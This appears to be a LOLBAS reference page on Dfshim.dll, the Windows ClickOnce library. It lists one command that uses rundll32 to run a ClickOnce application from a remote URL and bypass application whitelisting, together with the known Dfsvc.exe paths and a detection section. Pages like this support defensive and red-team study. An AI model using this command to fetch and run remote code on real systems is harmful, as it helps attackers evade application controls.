LOLBAS. GitHub
LIVING OFF THE LAND / OS LIBRARIES

Dfshim.dll

View source

ClickOnce engine in Windows used by .NET

AWL Bypass
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

AWL Bypass1

EXAMPLE 01T1127.002

Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)

COMMAND
rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
USE CASE
Use binary to bypass Application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · ClickOnceExecute · Remote
02 / ON DISK

Known paths

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Casey Smith@subtee